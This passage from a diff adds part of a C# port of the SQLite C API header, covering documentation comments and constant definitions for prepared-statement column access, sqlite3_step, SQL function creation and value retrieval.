** the [sqlite3_bind_blob | bindings] on a [prepared statement]. + ** Use this routine to reset all host parameters to NULL. + ** + ** Requirements: + ** [H13661] + */ + //SQLITE_API int sqlite3_clear_bindings(sqlite3_stmt*); + + /* + ** CAPI3REF: Number Of Columns In A Result Set {H13710} + ** + ** Return the number of columns in the result set returned by the + ** [prepared statement]. This routine returns 0 if pStmt is an SQL + ** statement that does not return data (for example an [UPDATE]). + ** + ** Requirements: + ** [H13711] + */ + //SQLITE_API int sqlite3_column_count(sqlite3_stmt *pStmt); + + /* + ** CAPI3REF: Column Names In A Result Set {H13720} + ** + ** These routines return the name assigned to a particular column + ** in the result set of a [SELECT] statement. The sqlite3_column_name() + ** interface returns a pointer to a zero-terminated UTF-8 string + ** and sqlite3_column_name16() returns a pointer to a zero-terminated + ** UTF-16 string. The first parameter is the [prepared statement] + ** that implements the [SELECT] statement. The second parameter is the + ** column number. The leftmost column is number 0. + ** + ** The returned string pointer is valid until either the [prepared statement] + ** is destroyed by [sqlite3_finalize()] or until the next call to + ** sqlite3_column_name() or sqlite3_column_name16() on the same column. + ** + ** If sqlite3_malloc() fails during the processing of either routine + ** (for example during a conversion from UTF-8 to UTF-16) then a + ** NULL pointer is returned. + ** + ** The name of a result column is the value of the "AS" clause for + ** that column, if there is an AS clause. If there is no AS clause + ** then the name of the column is unspecified and may change from + ** one release of SQLite to the next. + ** + ** Requirements: + ** [H13721] [H13723] [H13724] [H13725] [H13726] [H13727] + */ + //SQLITE_API const char *sqlite3_column_name(sqlite3_stmt*, int N); + //SQLITE_API const void *sqlite3_column_name16(sqlite3_stmt*, int N); + + /* + ** CAPI3REF: Source Of Data In A Query Result {H13740} + ** + ** These routines provide a means to determine what column of what + ** table in which database a result of a [SELECT] statement comes from. + ** The name of the database or table or column can be returned as + ** either a UTF-8 or UTF-16 string. The _database_ routines return + ** the database name, the _table_ routines return the table name, and + ** the origin_ routines return the column name. + ** The returned string is valid until the [prepared statement] is destroyed + ** using [sqlite3_finalize()] or until the same information is requested + ** again in a different encoding. + ** + ** The names returned are the original un-aliased names of the + ** database, table, and column. + ** + ** The first argument to the following calls is a [prepared statement]. + ** These functions return information about the Nth column returned by + ** the statement, where N is the second function argument. + ** + ** If the Nth column returned by the statement is an expression or + ** subquery and is not a column value, then all of these functions return + ** NULL. These routine might also return NULL if a memory allocation error + ** occurs. Otherwise, they return the name of the attached database, table + ** and column that query result column was extracted from. + ** + ** As with all other SQLite APIs, those postfixed with "16" return + ** UTF-16 encoded strings, the other functions return UTF-8. {END} + ** + ** These APIs are only available if the library was compiled with the + ** [SQLITE_ENABLE_COLUMN_METADATA] C-preprocessor symbol defined. + ** + ** {A13751} + ** If two or more threads call one or more of these routines against the same + ** prepared statement and column at the same time then the results are + ** undefined. + ** + ** Requirements: + ** [H13741] [H13742] [H13743] [H13744] [H13745] [H13746] [H13748] + ** + ** If two or more threads call one or more + ** [sqlite3_column_database_name | column metadata interfaces] + ** for the same [prepared statement] and result column + ** at the same time then the results are undefined. + */ + //SQLITE_API const char *sqlite3_column_database_name(sqlite3_stmt*,int); + //SQLITE_API const void *sqlite3_column_database_name16(sqlite3_stmt*,int); + //SQLITE_API const char *sqlite3_column_table_name(sqlite3_stmt*,int); + //SQLITE_API const void *sqlite3_column_table_name16(sqlite3_stmt*,int); + //SQLITE_API const char *sqlite3_column_origin_name(sqlite3_stmt*,int); + //SQLITE_API const void *sqlite3_column_origin_name16(sqlite3_stmt*,int); + + /* + ** CAPI3REF: Declared Datatype Of A Query Result {H13760} + ** + ** The first parameter is a [prepared statement]. + ** If this statement is a [SELECT] statement and the Nth column of the + ** returned result set of that [SELECT] is a table column (not an + ** expression or subquery) then the declared type of the table + ** column is returned. If the Nth column of the result set is an + ** expression or subquery, then a NULL pointer is returned. + ** The returned string is always UTF-8 encoded. {END} + ** + ** For example, given the database schema: + ** + ** CREATE TABLE t1(c1 VARIANT); + ** + ** and the following statement to be compiled: + ** + ** SELECT c1 + 1, c1 FROM t1; + ** + ** this routine would return the string "VARIANT" for the second result + ** column (i==1), and a NULL pointer for the first result column (i==0). + ** + ** SQLite uses dynamic run-time typing. So just because a column + ** is declared to contain a particular type does not mean that the + ** data stored in that column is of the declared type. SQLite is + ** strongly typed, but the typing is dynamic not static. Type + ** is associated with individual values, not with the containers + ** used to hold those values. + ** + ** Requirements: + ** [H13761] [H13762] [H13763] + */ + //SQLITE_API const char *sqlite3_column_decltype(sqlite3_stmt*,int); + //SQLITE_API const void *sqlite3_column_decltype16(sqlite3_stmt*,int); + + /* + ** CAPI3REF: Evaluate An SQL Statement {H13200} + ** + ** After a [prepared statement] has been prepared using either + ** [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()] or one of the legacy + ** interfaces [sqlite3_prepare()] or [sqlite3_prepare16()], this function + ** must be called one or more times to evaluate the statement. + ** + ** The details of the behavior of the sqlite3_step() interface depend + ** on whether the statement was prepared using the newer "v2" interface + ** [sqlite3_prepare_v2()] and [sqlite3_prepare16_v2()] or the older legacy + ** interface [sqlite3_prepare()] and [sqlite3_prepare16()]. The use of the + ** new "v2" interface is recommended for new applications but the legacy + ** interface will continue to be supported. + ** + ** In the legacy interface, the return value will be either [SQLITE_BUSY], + ** [SQLITE_DONE], [SQLITE_ROW], [SQLITE_ERROR], or [SQLITE_MISUSE]. + ** With the "v2" interface, any of the other [result codes] or + ** [extended result codes] might be returned as well. + ** + ** [SQLITE_BUSY] means that the database engine was unable to acquire the + ** database locks it needs to do its job. If the statement is a [COMMIT] + ** or occurs outside of an explicit transaction, then you can retry the + ** statement. If the statement is not a [COMMIT] and occurs within a + ** explicit transaction then you should rollback the transaction before + ** continuing. + ** + ** [SQLITE_DONE] means that the statement has finished executing + ** successfully. sqlite3_step() should not be called again on this virtual + ** machine without first calling [sqlite3_reset()] to reset the virtual + ** machine back to its initial state. + ** + ** If the SQL statement being executed returns any data, then [SQLITE_ROW] + ** is returned each time a new row of data is ready for processing by the + ** caller. The values may be accessed using the [column access functions]. + ** sqlite3_step() is called again to retrieve the next row of data. + ** + ** [SQLITE_ERROR] means that a run-time error (such as a constraint + ** violation) has occurred. sqlite3_step() should not be called again on + ** the VM. More information may be found by calling [sqlite3_errmsg()]. + ** With the legacy interface, a more specific error code (for example, + ** [SQLITE_INTERRUPT], [SQLITE_SCHEMA], [SQLITE_CORRUPT], and so forth) + ** can be obtained by calling [sqlite3_reset()] on the + ** [prepared statement]. In the "v2" interface, + ** the more specific error code is returned directly by sqlite3_step(). + ** + ** [SQLITE_MISUSE] means that the this routine was called inappropriately. + ** Perhaps it was called on a [prepared statement] that has + ** already been [sqlite3_finalize | finalized] or on one that had + ** previously returned [SQLITE_ERROR] or [SQLITE_DONE]. Or it could + ** be the case that the same database connection is being used by two or + ** more threads at the same moment in time. + ** + ** Goofy Interface Alert: In the legacy interface, the sqlite3_step() + ** API always returns a generic error code, [SQLITE_ERROR], following any + ** error other than [SQLITE_BUSY] and [SQLITE_MISUSE]. You must call + ** [sqlite3_reset()] or [sqlite3_finalize()] in order to find one of the + ** specific [error codes] that better describes the error. + ** We admit that this is a goofy design. The problem has been fixed + ** with the "v2" interface. If you prepare all of your SQL statements + ** using either [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()] instead + ** of the legacy [sqlite3_prepare()] and [sqlite3_prepare16()] interfaces, + ** then the more specific [error codes] are returned directly + ** by sqlite3_step(). The use of the "v2" interface is recommended. + ** + ** Requirements: + ** [H13202] [H15304] [H15306] [H15308] [H15310] + */ + //SQLITE_API int sqlite3_step(sqlite3_stmt*); + + /* + ** CAPI3REF: Number of columns in a result set {H13770} + ** + ** Returns the number of values in the current row of the result set. + ** + ** Requirements: + ** [H13771] [H13772] + */ + //SQLITE_API int sqlite3_data_count(sqlite3_stmt *pStmt); + + /* + ** CAPI3REF: Fundamental Datatypes {H10265} + ** KEYWORDS: SQLITE_TEXT + ** + ** {H10266} Every value in SQLite has one of five fundamental datatypes: + ** + **
      + **
    • 64-bit signed integer + **
    • 64-bit IEEE floating point number + **
    • string + **
    • BLOB + **
    • NULL + **
    {END} + ** + ** These constants are codes for each of those types. + ** + ** Note that the SQLITE_TEXT constant was also used in SQLite version 2 + ** for a completely different meaning. Software that links against both + ** SQLite version 2 and SQLite version 3 should use SQLITE3_TEXT, not + ** SQLITE_TEXT. + */ + //#define SQLITE_INTEGER 1 + //#define SQLITE_FLOAT 2 + //#define SQLITE_BLOB 4 + //#define SQLITE_NULL 5 + //#ifdef SQLITE_TEXT + //# undef SQLITE_TEXT + //#else + //# define SQLITE_TEXT 3 + //#endif + //#define SQLITE3_TEXT 3 + public const u8 SQLITE_INTEGER = 1; + public const u8 SQLITE_FLOAT = 2; + public const u8 SQLITE_BLOB = 4; + public const u8 SQLITE_NULL = 5; + public const u8 SQLITE_TEXT = 3; + public const u8 SQLITE3_TEXT = 3; + + /* + ** CAPI3REF: Result Values From A Query {H13800} + ** KEYWORDS: {column access functions} + ** + ** These routines form the "result set query" interface. + ** + ** These routines return information about a single column of the current + ** result row of a query. In every case the first argument is a pointer + ** to the [prepared statement] that is being evaluated (the [sqlite3_stmt*] + ** that was returned from [sqlite3_prepare_v2()] or one of its variants) + ** and the second argument is the index of the column for which information + ** should be returned. The leftmost column of the result set has the index 0. + ** + ** If the SQL statement does not currently point to a valid row, or if the + ** column index is out of range, the result is undefined. + ** These routines may only be called when the most recent call to + ** [sqlite3_step()] has returned [SQLITE_ROW] and neither + ** [sqlite3_reset()] nor [sqlite3_finalize()] have been called subsequently. + ** If any of these routines are called after [sqlite3_reset()] or + ** [sqlite3_finalize()] or after [sqlite3_step()] has returned + ** something other than [SQLITE_ROW], the results are undefined. + ** If [sqlite3_step()] or [sqlite3_reset()] or [sqlite3_finalize()] + ** are called from a different thread while any of these routines + ** are pending, then the results are undefined. + ** + ** The sqlite3_column_type() routine returns the + ** [SQLITE_INTEGER | datatype code] for the initial data type + ** of the result column. The returned value is one of [SQLITE_INTEGER], + ** [SQLITE_FLOAT], [SQLITE_TEXT], [SQLITE_BLOB], or [SQLITE_NULL]. The value + ** returned by sqlite3_column_type() is only meaningful if no type + ** conversions have occurred as described below. After a type conversion, + ** the value returned by sqlite3_column_type() is undefined. Future + ** versions of SQLite may change the behavior of sqlite3_column_type() + ** following a type conversion. + ** + ** If the result is a BLOB or UTF-8 string then the sqlite3_column_bytes() + ** routine returns the number of bytes in that BLOB or string. + ** If the result is a UTF-16 string, then sqlite3_column_bytes() converts + ** the string to UTF-8 and then returns the number of bytes. + ** If the result is a numeric value then sqlite3_column_bytes() uses + ** [sqlite3_snprintf()] to convert that value to a UTF-8 string and returns + ** the number of bytes in that string. + ** The value returned does not include the zero terminator at the end + ** of the string. For clarity: the value returned is the number of + ** bytes in the string, not the number of characters. + ** + ** Strings returned by sqlite3_column_text() and sqlite3_column_text16(), + ** even empty strings, are always zero terminated. The return + ** value from sqlite3_column_blob() for a zero-length BLOB is an arbitrary + ** pointer, possibly even a NULL pointer. + ** + ** The sqlite3_column_bytes16() routine is similar to sqlite3_column_bytes() + ** but leaves the result in UTF-16 in native byte order instead of UTF-8. + ** The zero terminator is not included in this count. + ** + ** The object returned by [sqlite3_column_value()] is an + ** [unprotected sqlite3_value] object. An unprotected sqlite3_value object + ** may only be used with [sqlite3_bind_value()] and [sqlite3_result_value()]. + ** If the [unprotected sqlite3_value] object returned by + ** [sqlite3_column_value()] is used in any other way, including calls + ** to routines like [sqlite3_value_int()], [sqlite3_value_text()], + ** or [sqlite3_value_bytes()], then the behavior is undefined. + ** + ** These routines attempt to convert the value where appropriate. For + ** example, if the internal representation is FLOAT and a text result + ** is requested, [sqlite3_snprintf()] is used internally to perform the + ** conversion automatically. The following table details the conversions + ** that are applied: + ** + **
    + **
    + **
    Internal
    Type
    Requested
    Type
    Conversion + ** + **
    NULL INTEGER Result is 0 + **
    NULL FLOAT Result is 0.0 + **
    NULL TEXT Result is NULL pointer + **
    NULL BLOB Result is NULL pointer + **
    INTEGER FLOAT Convert from integer to float + **
    INTEGER TEXT ASCII rendering of the integer + **
    INTEGER BLOB Same as INTEGER->TEXT + **
    FLOAT INTEGER Convert from float to integer + **
    FLOAT TEXT ASCII rendering of the float + **
    FLOAT BLOB Same as FLOAT->TEXT + **
    TEXT INTEGER Use atoi() + **
    TEXT FLOAT Use atof() + **
    TEXT BLOB No change + **
    BLOB INTEGER Convert to TEXT then use atoi() + **
    BLOB FLOAT Convert to TEXT then use atof() + **
    BLOB TEXT Add a zero terminator if needed + **
    + ** + ** + ** The table above makes reference to standard C library functions atoi() + ** and atof(). SQLite does not really use these functions. It has its + ** own equivalent internal routines. The atoi() and atof() names are + ** used in the table for brevity and because they are familiar to most + ** C programmers. + ** + ** Note that when type conversions occur, pointers returned by prior + ** calls to sqlite3_column_blob(), sqlite3_column_text(), and/or + ** sqlite3_column_text16() may be invalidated. + ** Type conversions and pointer invalidations might occur + ** in the following cases: + ** + **
      + **
    • The initial content is a BLOB and sqlite3_column_text() or + ** sqlite3_column_text16() is called. A zero-terminator might + ** need to be added to the string.
    • + **
    • The initial content is UTF-8 text and sqlite3_column_bytes16() or + ** sqlite3_column_text16() is called. The content must be converted + ** to UTF-16.
    • + **
    • The initial content is UTF-16 text and sqlite3_column_bytes() or + ** sqlite3_column_text() is called. The content must be converted + ** to UTF-8.
    • + **
    + ** + ** Conversions between UTF-16be and UTF-16le are always done in place and do + ** not invalidate a prior pointer, though of course the content of the buffer + ** that the prior pointer points to will have been modified. Other kinds + ** of conversion are done in place when it is possible, but sometimes they + ** are not possible and in those cases prior pointers are invalidated. + ** + ** The safest and easiest to remember policy is to invoke these routines + ** in one of the following ways: + ** + **
      + **
    • sqlite3_column_text() followed by sqlite3_column_bytes()
    • + **
    • sqlite3_column_blob() followed by sqlite3_column_bytes()
    • + **
    • sqlite3_column_text16() followed by sqlite3_column_bytes16()
    • + **
    + ** + ** In other words, you should call sqlite3_column_text(), + ** sqlite3_column_blob(), or sqlite3_column_text16() first to force the result + ** into the desired format, then invoke sqlite3_column_bytes() or + ** sqlite3_column_bytes16() to find the size of the result. Do not mix calls + ** to sqlite3_column_text() or sqlite3_column_blob() with calls to + ** sqlite3_column_bytes16(), and do not mix calls to sqlite3_column_text16() + ** with calls to sqlite3_column_bytes(). + ** + ** The pointers returned are valid until a type conversion occurs as + ** described above, or until [sqlite3_step()] or [sqlite3_reset()] or + ** [sqlite3_finalize()] is called. The memory space used to hold strings + ** and BLOBs is freed automatically. Do not pass the pointers returned + ** [sqlite3_column_blob()], [sqlite3_column_text()], etc. into + ** [sqlite3_free()]. + ** + ** If a memory allocation error occurs during the evaluation of any + ** of these routines, a default value is returned. The default value + ** is either the integer 0, the floating point number 0.0, or a NULL + ** pointer. Subsequent calls to [sqlite3_errcode()] will return + ** [SQLITE_NOMEM]. + ** + ** Requirements: + ** [H13803] [H13806] [H13809] [H13812] [H13815] [H13818] [H13821] [H13824] + ** [H13827] [H13830] + */ + //SQLITE_API const void *sqlite3_column_blob(sqlite3_stmt*, int iCol); + //SQLITE_API int sqlite3_column_bytes(sqlite3_stmt*, int iCol); + //SQLITE_API int sqlite3_column_bytes16(sqlite3_stmt*, int iCol); + //SQLITE_API double sqlite3_column_double(sqlite3_stmt*, int iCol); + //SQLITE_API int sqlite3_column_int(sqlite3_stmt*, int iCol); + //SQLITE_API sqlite3_int64 sqlite3_column_int64(sqlite3_stmt*, int iCol); + //SQLITE_API const unsigned char *sqlite3_column_text(sqlite3_stmt*, int iCol); + //SQLITE_API const void *sqlite3_column_text16(sqlite3_stmt*, int iCol); + //SQLITE_API int sqlite3_column_type(sqlite3_stmt*, int iCol); + //SQLITE_API sqlite3_value *sqlite3_column_value(sqlite3_stmt*, int iCol); + + /* + ** CAPI3REF: Destroy A Prepared Statement Object {H13300} + ** + ** The sqlite3_finalize() function is called to delete a [prepared statement]. + ** If the statement was executed successfully or not executed at all, then + ** SQLITE_OK is returned. If execution of the statement failed then an + ** [error code] or [extended error code] is returned. + ** + ** This routine can be called at any point during the execution of the + ** [prepared statement]. If the virtual machine has not + ** completed execution when this routine is called, that is like + ** encountering an error or an [sqlite3_interrupt | interrupt]. + ** Incomplete updates may be rolled back and transactions canceled, + ** depending on the circumstances, and the + ** [error code] returned will be [SQLITE_ABORT]. + ** + ** Requirements: + ** [H11302] [H11304] + */ + //SQLITE_API int sqlite3_finalize(sqlite3_stmt *pStmt); + + /* + ** CAPI3REF: Reset A Prepared Statement Object {H13330} + ** + ** The sqlite3_reset() function is called to reset a [prepared statement] + ** object back to its initial state, ready to be re-executed. + ** Any SQL statement variables that had values bound to them using + ** the [sqlite3_bind_blob | sqlite3_bind_*() API] retain their values. + ** Use [sqlite3_clear_bindings()] to reset the bindings. + ** + ** {H11332} The [sqlite3_reset(S)] interface resets the [prepared statement] S + ** back to the beginning of its program. + ** + ** {H11334} If the most recent call to [sqlite3_step(S)] for the + ** [prepared statement] S returned [SQLITE_ROW] or [SQLITE_DONE], + ** or if [sqlite3_step(S)] has never before been called on S, + ** then [sqlite3_reset(S)] returns [SQLITE_OK]. + ** + ** {H11336} If the most recent call to [sqlite3_step(S)] for the + ** [prepared statement] S indicated an error, then + ** [sqlite3_reset(S)] returns an appropriate [error code]. + ** + ** {H11338} The [sqlite3_reset(S)] interface does not change the values + ** of any [sqlite3_bind_blob|bindings] on the [prepared statement] S. + */ + //SQLITE_API int sqlite3_reset(sqlite3_stmt *pStmt); + + /* + ** CAPI3REF: Create Or Redefine SQL Functions {H16100} + ** KEYWORDS: {function creation routines} + ** KEYWORDS: {application-defined SQL function} + ** KEYWORDS: {application-defined SQL functions} + ** + ** These two functions (collectively known as "function creation routines") + ** are used to add SQL functions or aggregates or to redefine the behavior + ** of existing SQL functions or aggregates. The only difference between the + ** two is that the second parameter, the name of the (scalar) function or + ** aggregate, is encoded in UTF-8 for sqlite3_create_function() and UTF-16 + ** for sqlite3_create_function16(). + ** + ** The first parameter is the [database connection] to which the SQL + ** function is to be added. If a single program uses more than one database + ** connection internally, then SQL functions must be added individually to + ** each database connection. + ** + ** The second parameter is the name of the SQL function to be created or + ** redefined. The length of the name is limited to 255 bytes, exclusive of + ** the zero-terminator. Note that the name length limit is in bytes, not + ** characters. Any attempt to create a function with a longer name + ** will result in [SQLITE_ERROR] being returned. + ** + ** The third parameter (nArg) + ** is the number of arguments that the SQL function or + ** aggregate takes. If this parameter is -1, then the SQL function or + ** aggregate may take any number of arguments between 0 and the limit + ** set by [sqlite3_limit]([SQLITE_LIMIT_FUNCTION_ARG]). If the third + ** parameter is less than -1 or greater than 127 then the behavior is + ** undefined. + ** + ** The fourth parameter, eTextRep, specifies what + ** [SQLITE_UTF8 | text encoding] this SQL function prefers for + ** its parameters. Any SQL function implementation should be able to work + ** work with UTF-8, UTF-16le, or UTF-16be. But some implementations may be + ** more efficient with one encoding than another. It is allowed to + ** invoke sqlite3_create_function() or sqlite3_create_function16() multiple + ** times with the same function but with different values of eTextRep. + ** When multiple implementations of the same function are available, SQLite + ** will pick the one that involves the least amount of data conversion. + ** If there is only a single implementation which does not care what text + ** encoding is used, then the fourth argument should be [SQLITE_ANY]. + ** + ** The fifth parameter is an arbitrary pointer. The implementation of the + ** function can gain access to this pointer using [sqlite3_user_data()]. + ** + ** The seventh, eighth and ninth parameters, xFunc, xStep and xFinal, are + ** pointers to C-language functions that implement the SQL function or + ** aggregate. A scalar SQL function requires an implementation of the xFunc + ** callback only, NULL pointers should be passed as the xStep and xFinal + ** parameters. An aggregate SQL function requires an implementation of xStep + ** and xFinal and NULL should be passed for xFunc. To delete an existing + ** SQL function or aggregate, pass NULL for all three function callbacks. + ** + ** It is permitted to register multiple implementations of the same + ** functions with the same name but with either differing numbers of + ** arguments or differing preferred text encodings. SQLite will use + ** the implementation most closely matches the way in which the + ** SQL function is used. A function implementation with a non-negative + ** nArg parameter is a better match than a function implementation with + ** a negative nArg. A function where the preferred text encoding + ** matches the database encoding is a better + ** match than a function where the encoding is different. + ** A function where the encoding difference is between UTF16le and UTF16be + ** is a closer match than a function where the encoding difference is + ** between UTF8 and UTF16. + ** + ** Built-in functions may be overloaded by new application-defined functions. + ** The first application-defined function with a given name overrides all + ** built-in functions in the same [database connection] with the same name. + ** Subsequent application-defined functions of the same name only override + ** prior application-defined functions that are an exact match for the + ** number of parameters and preferred encoding. + ** + ** An application-defined function is permitted to call other + ** SQLite interfaces. However, such calls must not + ** close the database connection nor finalize or reset the prepared + ** statement in which the function is running. + ** + ** Requirements: + ** [H16103] [H16106] [H16109] [H16112] [H16118] [H16121] [H16127] + ** [H16130] [H16133] [H16136] [H16139] [H16142] + */ + //SQLITE_API int sqlite3_create_function( + // sqlite3 *db, + // const char *zFunctionName, + // int nArg, + // int eTextRep, + // void *pApp, + // void (*xFunc)(sqlite3_context*,int,sqlite3_value**), + // void (*xStep)(sqlite3_context*,int,sqlite3_value**), + // void (*xFinal)(sqlite3_context*) + //); + //SQLITE_API int sqlite3_create_function16( + // sqlite3 *db, + // const void *zFunctionName, + // int nArg, + // int eTextRep, + // void *pApp, + // void (*xFunc)(sqlite3_context*,int,sqlite3_value**), + // void (*xStep)(sqlite3_context*,int,sqlite3_value**), + // void (*xFinal)(sqlite3_context*) + //); + + /* + ** CAPI3REF: Text Encodings {H10267} + ** + ** These constant define integer codes that represent the various + ** text encodings supported by SQLite. + */ + //#define SQLITE_UTF8 1 + //#define SQLITE_UTF16LE 2 + //#define SQLITE_UTF16BE 3 + //#define SQLITE_UTF16 4 /* Use native byte order */ + //#define SQLITE_ANY 5 /* sqlite3_create_function only */ + //#define SQLITE_UTF16_ALIGNED 8 /* sqlite3_create_collation only */ + public const u8 SQLITE_UTF8 = 1; + public const u8 SQLITE_UTF16LE = 2; + public const u8 SQLITE_UTF16BE = 3; + public const u8 SQLITE_UTF16 = 4; + public const u8 SQLITE_ANY = 5; + public const u8 SQLITE_UTF16_ALIGNED = 8; + + /* + ** CAPI3REF: Deprecated Functions + ** DEPRECATED + ** + ** These functions are [deprecated]. In order to maintain + ** backwards compatibility with older code, these functions continue + ** to be supported. However, new applications should avoid + ** the use of these functions. To help encourage people to avoid + ** using these functions, we are not going to tell you what they do. + */ +#if !SQLITE_OMIT_DEPRECATED +//SQLITE_API SQLITE_DEPRECATED int sqlite3_aggregate_count(sqlite3_context*); +//SQLITE_API SQLITE_DEPRECATED int sqlite3_expired(sqlite3_stmt*); +//SQLITE_API SQLITE_DEPRECATED int sqlite3_transfer_bindings(sqlite3_stmt*, sqlite3_stmt*); +//SQLITE_API SQLITE_DEPRECATED int sqlite3_global_recover(void); +//SQLITE_API SQLITE_DEPRECATED void sqlite3_thread_cleanup(void); +//SQLITE_API SQLITE_DEPRECATED int sqlite3_memory_alarm(void(*)(void*,sqlite3_int64,int),void*,sqlite3_int64); +#endif + + /* +** CAPI3REF: Obtaining SQL Function Parameter Values {H15100} +** +** The C-language implementation of SQL functions and aggregates uses +** this set of interface routines to access the parameter values on +** the function or aggregate. +** +** The xFunc (for scalar functions) or xStep (for aggregates) parameters +** to [sqlite3_create_function()] and [sqlite3_create_function16()] +** define callbacks that implement the SQL functions and aggregates. +** The 4th parameter to these callbacks is an array of pointers to +** [protected sqlite3_value] objects. There is one [sqlite3_value] object for +** each parameter to the SQL function. These routines are used to +** extract values from the [sqlite3_value] objects. +** +** These routines work only with [protected sqlite3_value] objects. +** Any attempt to use these routines on an [unprotected sqlite3_value] +** object results in undefined behavior. +** +** These routines work just like the corresponding [column access functions] +** except that these routines take a single [protected sqlite3_value] object +** pointer instead of a [sqlite3_stmt*] pointer and an integer column number. +** +** The sqlite3_value_text16() interface extracts a UTF-16 string +** in the native byte-order of the host machine. The +** sqlite3_value_text16be() and sqlite3_value_text16le() interfaces +** extract UTF-16 strings as big-endian and little-endian respectively. +** +** The sqlite3_value_numeric_type() interface attempts to apply +** numeric affinity to the value. This means that an attempt is +** made to convert the value to an integer or floating point. If +** such a conversion is possible without loss of information (in other +** words, if the value is a string that looks like a number) +** then the conversion is performed. Otherwise no conversion occurs. +** The [SQLITE_INTEGER | datatype] after conversion is returned. +** +** Please pay particular attention to the fact that the pointer returned +** from [sqlite3_value_blob()], [sqlite3_value_text()], or +** [sqlite3_value_text16()] can be invalidated by a subsequent call to +** [sqlite3_value_bytes()], [sqlite3_value_bytes16()], [sqlite3_value_text()], +** or [sqlite3_value_text16()]. +** +** These routines must be called from the same thread as +** the SQL function that supplied the [sqlite3_value*] parameters. +** +** Requirements: +** [H15103] [H15106] [H15109] [H15112] [H15115] [H15118] [H15121] [H15124] +** [H15127] [H15130] [H15133] [H15136] +*/ + //SQLITE_API const void *sqlite3_value_blob(sqlite3_value*); + //SQLITE_API int sqlite3_value_bytes(sqlite3_value*); + //SQLITE_API int sqlite3_value_bytes16(sqlite3_value*); + //SQLITE_API double sqlite3_value_double(sqlite3_value*); + //SQLITE_API int sqlite3_value_int(sqlite3_value*); + //SQLITE_API sqlite3_int64 sqlite3_value_int64(sqlite3_value*); + //SQLITE_API const unsigned char *sqlite3_value_text(sqlite3_value*); + //SQLITE_API const void *sqlite3_value_text16(sqlite3_value*); + //SQLITE_API const void *sqlite3_value_text16le(sqlite3_value*); + //SQLITE_API const void *sqlite3_value_text16be(sqlite3_value*); + //SQLITE_API int sqlite3_value_type(sqlite3_value*); + //SQLITE_API int sqlite3_value_numeric_type(sqlite3_value*); + + /* + ** CAPI3REF: Obtain Aggregate Function Context {H16210} + ** + ** The implementation of aggregate SQL functions use this routine to allocate + ** a structure for storing their state. + ** + ** The first time the sqlite3_aggregate_context() routine is called for a + ** particular aggregate, SQLite allocates nBytes of memory, zeroes out that + ** memory, and returns a pointer to it. On second and subsequent calls to + ** sqlite3_aggregate_context() for the same aggregate function index, + ** the same buffer is returned. The implementation of the aggregate can use + ** the returned buffer to accumulate data. + ** + ** SQLite automatically frees the allocated buffer when the aggregate + ** query concludes. + ** + ** The first parameter should be a copy of the + ** [sqlite3_context | SQL function context] that is the first parameter + ** to the callback routine that implements the aggregate function. + ** + ** This routine must be called from the same thread in which + ** the aggregate SQL function is running. + ** + ** Requirements: + ** [H16211] [H16213] [H16215] [H16217] + */ + //SQLITE_API void *sqlite3_aggregate_context(sqlite3_context*, int nBytes); + + /* + ** CAPI3REF: User Data For Functions {H16240} + ** + ** The sqlite3_user_data() interface returns a copy of + ** the pointer that was the pUserData parameter (the 5th parameter) + ** of the [sqlite3_create_function()] + ** and [sqlite3_create_function16()] routines that originally + ** registered the application defined function. {END} + ** + ** This routine must be called from the same thread in which + ** the application-defined function is running. + ** + ** Requirements: + ** [H16243] + */ + //SQLITE_API void *sqlite3_user_data(sqlite3_context*); + + /* + ** CAPI3REF: Database Connection For Functions {H16250} + ** + ** The sqlite3_context_db_handle() interface returns a copy of + ** the pointer to the [database connection] (the 1st parameter) + ** of the [sqlite3_create_function()] + ** and [sqlite3_create_function16()] routines that originally + ** registered the application defined function. + ** + ** Requirements: + ** [H16253] + */ + //SQLITE_API sqlite3 *sqlite3_context_db_handle(sqlite3_context*); + + /* + ** CAPI3REF: Function Auxiliary Data {H16270} + ** + ** The following two functions may be used by scalar SQL functions to + ** associate metadata with argument values. If the same value is passed to + ** multiple invocations of the same SQL function during query execution, under + ** some circumstances the associated metadata may be preserved. This may + ** be used, for example, to add a regular-expression matching scalar + ** function. The compiled version of the regular expression is stored as + ** metadata associated with the SQL value passed as the regular expression + ** pattern. The compiled regular expression can be reused on multiple + ** invocations of the same function so that the original pattern string + ** does not need to be recompiled on each invocation. + ** + ** The sqlite3_get_auxdata() interface returns a pointer to the metadata + ** associated by the sqlite3_set_auxdata() function with the Nth argument + ** value to the application-defined function. If no metadata has been ever + ** been set for the Nth argument of the function, or if the corresponding + ** function parameter has changed since the meta-data was set, + ** then sqlite3_get_auxdata() returns a NULL pointer. + ** + ** The sqlite3_set_auxdata() interface saves the metadata + ** pointed to by its 3rd parameter as the metadata for the N-th + ** argument of the application-defined function. Subsequent + ** calls to sqlite3_get_auxdata() might return this data, if it has + ** not been destroyed. + ** If it is not NULL, SQLite will invoke the destructor + ** function given by the 4th parameter to sqlite3_set_auxdata() on + ** the metadata when the corresponding function parameter changes + ** or when the SQL statement completes, whichever comes first. + ** + ** SQLite is free to call the destructor and drop metadata on any + ** parameter of any function at any time. The only guarantee is that + ** the destructor will be called before the metadata is dropped. + ** + ** In practice, metadata is preserved between function calls for + ** expressions that are constant at compile time. This includes literal + ** values and SQL variables. + ** + ** These routines must be called from the same thread in which + ** the SQL function is running. + ** + ** Requirements: + ** [H16272] [H16274] [H16276] [H16277] [H16278] [H16279] + */ + //SQLITE_API void *sqlite3_get_auxdata(sqlite3_context*, int N); + //SQLITE_API void sqlite3_set_auxdata(sqlite3_context*, int N, void*, void (*)(void*)); + + + /* + ** CAPI3REF: Constants Defining Special Destructor Behavior {H10280} + ** + ** These are special values for the destructor that is passed in as the + ** final argument to routines like [sqlite3_result_blob()]. If the destructor + ** argument is SQLITE_STATIC, it means that the content pointer is constant + ** and will never change. It does not need to be destroyed. The + ** SQLITE_TRANSIENT value means that the content will likely change in + ** the near future and that SQLite should make its own private copy of + ** the content before returning. + ** + ** The typedef is necessary to work around problems in certain + ** C++ compilers. See ticket #2191. + */ + //typedef void (*sqlite3_destructor_type)(void*); + //#define SQLITE_STATIC ((sqlite3_destructor_type)0) + //#define SQLITE_TRANSIENT ((sqlite3_destructor_type)-1) + public static dxDel SQLITE_STATIC; + public static dxDel SQLITE_TRANSIENT; + + /* + ** CAPI3REF: Setting The Result Of An SQL Function {H16400} + ** + ** These routines are used by the xFunc or xFinal callbacks that + ** implement SQL functions and aggregates. See + ** [sqlite3_create_function()] and [sqlite3_create_function16()] + ** for additional 